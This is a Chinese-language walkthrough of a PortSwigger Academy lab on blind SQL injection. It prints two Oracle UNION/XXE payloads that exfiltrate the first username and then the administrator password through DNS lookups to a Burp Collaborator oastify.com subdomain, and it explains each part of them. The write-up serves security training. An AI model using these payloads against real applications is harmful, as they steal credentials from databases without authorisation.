PortSwigger靶场之Blind SQL injection with out-of-band data exfiltration

一、分析题目

该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询是异步执行的,不会对应用程序的响应产生影响。不过,我们可以触发与外部域的非带内交互。该数据库中有一个名为"users"的不同表,该表包含"username"(用户名)和"password"(密码)两列。我们需要利用盲 SQL 注入漏洞来找出管理员用户的密码。要解决此问题,请以管理员用户身份登录。

注意为防止 Academy 平台被用于攻击第三方,brup的防火墙会阻止实验室与任意外部系统的交互。要解决此问题,我们必须使用 Burp Collaborator 的默认公共服务器。

二、开始注入

1、获取用户名

在上一个靶场的的基础上https://blog.csdn.net/m0_65361643/article/details/150844133,让我们用dns外带出用户密码。只需要略微修改语句就行:

sql 复制代码
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select username from users where rownum=1)||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

这串代码是一个针对 Oracle 数据库 的高级 SQL 注入 攻击载荷(payload)。它的最终目的不是直接在网页上显示数据,而是通过**"带外数据"(Out-of-Band)** 的技术,将数据库中的信息悄悄地发送到攻击者控制的服务器上。

整体概览

  • 攻击类型: 联合查询SQL注入 (UNION-based SQL Injection) + XML外部实体注入 (XXE)

  • 目标数据库: Oracle

  • 攻击目的 : 窃取 users 表中的第一个用户名,并通过 DNS 请求发送出去。

  • 核心技术 : 利用 Oracle 的 EXTRACTVALUExmltype 函数处理恶意构造的 XML,触发一个 XXE 漏洞,强制数据库服务器向外发送一个包含敏感数据的 DNS 查询。


逐段分解解释

我们把这个复杂的载荷拆成几个部分来看:

sql 复制代码
+UNION+SELECT+ ... +FROM+dual--
  • +: 在 URL 中,+ 通常代表空格。

  • UNION SELECT ...: 这是 SQL 注入的核心。攻击者利用 UNION 操作符将自己的恶意查询结果附加到原始的、合法的查询结果之后。

  • FROM dual: dual 是 Oracle 数据库中的一个特殊的"伪表",它只有一行一列。在 Oracle 中,当你需要从一个不存在的表中 SELECT 一个值时,通常会使用 FROM dual

  • --: 这是 SQL 中的注释符。它后面的所有原始 SQL 语句都会被忽略,从而防止原始查询的剩余部分干扰攻击者的 UNION 查询,避免语法错误。

sql 复制代码
EXTRACTVALUE(xmltype(...),'/l')
  • 这是整个攻击载hundreds的核心和技巧所在。

  • EXTRACTVALUE(xml_document, xpath_expression): 这是 Oracle 的一个函数,用于从一个 XML 文档中提取由 XPath 表达式指定的值。

  • 这个函数有一个"特性":如果 XPath 表达式无效或者在解析 XML 时发生错误,它会抛出一个包含错误信息的 Oracle 错误。攻击者正是利用了这个"报错"机制。

sql 复制代码
xmltype('<%3fxml ... >')
  • xmltype(...): 这个函数将一个字符串转换成 Oracle 内部的 XML 数据类型。攻击者在这里构造了一个恶意的 XML 字符串。

  • '<%3fxml ... >': 这里是 URL 编码后的 XML 内容。我们解码后看看它的真面目:

    复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
      <!ENTITY % remote SYSTEM "http://'||(select username from users where rownum=1)||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/">
      %remote;
    ]>

    这个 XML 内容本身就是一个 XML 外部实体注入 (XXE) 的载荷。

    • <!DOCTYPE root [...]>: 定义了一个文档类型定义 (DTD)。

    • <!ENTITY % remote SYSTEM "..." >: 这是关键部分。它定义了一个名为 remote 的"参数实体"。SYSTEM 关键字告诉 XML 解析器,这个实体的内容需要从一个外部 URL 获取。

    • "http://'||(select username from users where rownum=1)||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/": 这不是一个固定的 URL,而是一个动态拼接的字符串,我们将brup生成的copy到这里。

      • (select username from users where rownum=1): 这是一个子查询,它的作用是从 users 表中获取第一行的 username。假设查出来的用户名是 ADMIN

      • ||: 这是 Oracle 中的字符串拼接符。

      • 拼接后的 URL 会变成:http://ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/

    • %remote;: 这一行引用(使用)了上面定义的实体。当 XML 解析器处理到这里时,它会尝试访问上面拼接好的那个 URL。


攻击流程总结

整个攻击过程就像一个精密的连锁反应:

  1. 注入 : 攻击者将这串代码注入到网站的一个易受攻击的参数中(例如,id=...)。

  2. 执行 SQL: 后端服务器接收到请求,并将这串恶意代码拼接到原始的 SQL 查询中,然后交给 Oracle 数据库执行。

  3. 解析 XML : 数据库执行到 EXTRACTVALUE 函数。为了获取 XML 的值,它必须先调用 xmltype 来解析那段恶意的 XML 字符串。

  4. 触发 XXE : 在解析 XML 的过程中,XML 解析器遇到了 <!ENTITY ... SYSTEM ...>

  5. 窃取数据 : 解析器执行子查询 (select username from users where rownum=1),得到用户名(例如 ADMIN)。

  6. 构造 URL : 解析器将查询结果 ADMIN 拼接到 URL 中,构造出最终的 URL:http://ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/

  7. 发送 DNS 请求(带外通信) : 为了访问这个 URL,数据库服务器首先需要知道 ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com 的 IP 地址。因此,它会向 DNS 服务器发起一个 DNS 查询请求。

  8. 数据泄露 : oastify.com 是一个公开的、用于安全测试的"带外交互"平台。攻击者正监视着这个域名。当数据库服务器的 DNS 请求到达时,攻击者就能从 DNS 查询日志中看到完整的子域名 ADMIN.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com,从而成功窃取到了用户名 ADMIN

整个过程中,攻击者不需要看到网页的任何返回内容,数据就已经通过 DNS 查询这个"侧信道"泄露了。

2、获取密码

sql 复制代码
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select password from users where username='administrator')||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

整体概览

  • 攻击类型: 联合查询 SQL 注入 (UNION-based SQL Injection) + XML 外部实体注入 (XXE)

  • 目标数据库: Oracle

  • 攻击目的 : 窃取 users 表中用户名为 administrator 的密码,并通过 DNS 请求发送到攻击者控制的服务器。

  • 核心技术 : 利用 Oracle 的 EXTRACTVALUExmltype 函数,触发一个 XXE 漏洞,强制数据库服务器向外发送一个包含用户密码的 DNS 查询。


逐段分解解释

我们将这个载荷进行拆解分析:

sql 复制代码
+UNION+SELECT+ ... +FROM+dual--
  • +: URL 编码中的空格。

  • UNION SELECT ...: SQL 注入的核心部分,用于将攻击者的恶意查询附加到原始查询之后。

  • FROM dual: Oracle 特有的语法,用于执行不依赖于任何实际表的 SELECT 查询。

  • --: SQL 注释符,用于忽略原始查询中可能引发语法错误的剩余部分。

sql 复制代码
EXTRACTVALUE(xmltype(...),'/l')
  • 这是触发整个攻击链的关键函数。

  • EXTRACTVALUE(xml_document, xpath_expression): Oracle 中用于从 XML 文档中提取数据的函数。

  • 攻击者利用了这个函数在处理恶意构造的 XML 时会向外发起网络请求的特性。

sql 复制代码
xmltype('<%3fxml ... >')
  • xmltype(...): 将字符串转换为 Oracle 的 XML 数据类型。

  • '<%3fxml ... >': 括号内是 URL 编码后的恶意 XML。解码后内容如下:

    复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
      <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/">
      %remote;
    ]>

    这个 XML 内容是实现数据窃取的关键:

    • <!DOCTYPE root [...]>: 定义文档类型 (DTD)。

    • <!ENTITY % remote SYSTEM "..." >: 定义一个名为 remote 的外部参数实体。SYSTEM 关键字指示 XML 解析器需要从一个外部 URL 来获取该实体的内容。

    • "http://'||(select password from users where username='administrator')||'.8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/": 这是一个动态拼接的 URL,是整个攻击的核心。

      • (select password from users where username='administrator'): 这是一个子查询,它的目标非常明确:从 users 表中查询用户名为 administratorpassword 字段的值。假设查询到的密码是 P@ssw0rd123!

      • ||: Oracle 的字符串拼接操作符。

      • 最终拼接成的 URL 将是:http://P@ssw0rd123!..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/

    • %remote;: 引用上面定义的实体。当 XML 解析器执行到这一行时,它会尝试访问上面构造出的 URL。


攻击流程总结

整个攻击的执行流程如下:

  1. 注入: 攻击者将此载荷提交给网站的某个易受 SQL 注入攻击的参数。

  2. 执行 SQL: Web 应用程序将恶意输入拼接到原始 SQL 语句中,并交由 Oracle 数据库执行。

  3. 解析 XML : 数据库执行 EXTRACTVALUE 函数,并调用 xmltype 来解析其中的 XML 字符串。

  4. 触发 XXE: XML 解析器在 DTD 中发现了外部实体定义。

  5. 窃取数据 : 解析器为了构造 URL,首先执行了子查询 (select password from users where username='administrator'),从数据库中获取了管理员的密码(例如 P@ssw0rd123!)。

  6. 构造 URL : 解析器将查询到的密码拼接到 URL 中,形成如 http://P@ssw0rd123!..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com/ 的地址。

  7. 发送 DNS 请求 : 为了访问这个 URL,数据库服务器必须先解析这个域名。因此,它会向配置的 DNS 服务器发起一个对 P@ssw0rd123!..8mvy4w7jypovixvudbn463xtrkxbl2dq2.oastify.com 的 DNS 查询。

  8. 数据泄露 : oastify.com 是一个攻击者可以监控的服务器(通常是用于安全测试的 OAST/Burp Collaborator 服务)。攻击者查看他收到的 DNS 查询日志,就能看到包含密码的完整子域名,从而成功窃取了管理员的密码。

这是一种极其危险的攻击,因为它绕过了直接的数据回显,通过侧信道(DNS 查询)将敏感信息悄无声息地传送出去。

三、成功通关

相关推荐
成都极云科技3 小时前
裸金属服务器与虚拟机、物理机的核心差异是什么?
运维·服务器·数据库
溯光笔记3 小时前
服务器内网穿透NPS搭建过程 - 服务端linux服务器 客户端windows系统 - 溯光笔记
linux·服务器·windows
IDC02_FEIYA5 小时前
服务器托管多少钱一年?服务器托管收费标准
运维·服务器
10km6 小时前
jsqlparser(六):TablesNamesFinder 深度解析与 SQL 格式化实现
java·数据库·sql·jsqlparser
key_Go7 小时前
05.《ARP协议基础知识探秘》
运维·服务器·网络·华为·arp
好名字更能让你们记住我7 小时前
Linux网络基础1(一)之计算机网络背景
linux·服务器·网络·windows·计算机网络·算法·centos
算法打盹中9 小时前
基于大型语言模型的自然语言到 SQL 转换研究综述:我们身处何处,又将前往何方?
人工智能·sql·语言模型·text2sql·nl2sql
奋斗的蛋黄9 小时前
Ansible 文件管理与 Jinja2 模板全解析:从模块应用到动态配置生成
运维·服务器·自动化
秋难降10 小时前
零基础学习SQL(十)——性能分析
数据库·sql·mysql